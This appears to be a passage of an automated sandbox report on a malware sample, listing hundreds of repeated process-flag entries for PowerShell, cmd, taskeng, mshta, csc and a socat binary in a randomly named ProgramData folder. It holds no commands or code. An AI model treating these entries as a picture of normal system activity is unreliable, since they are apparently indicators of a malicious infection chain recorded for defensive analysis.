Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
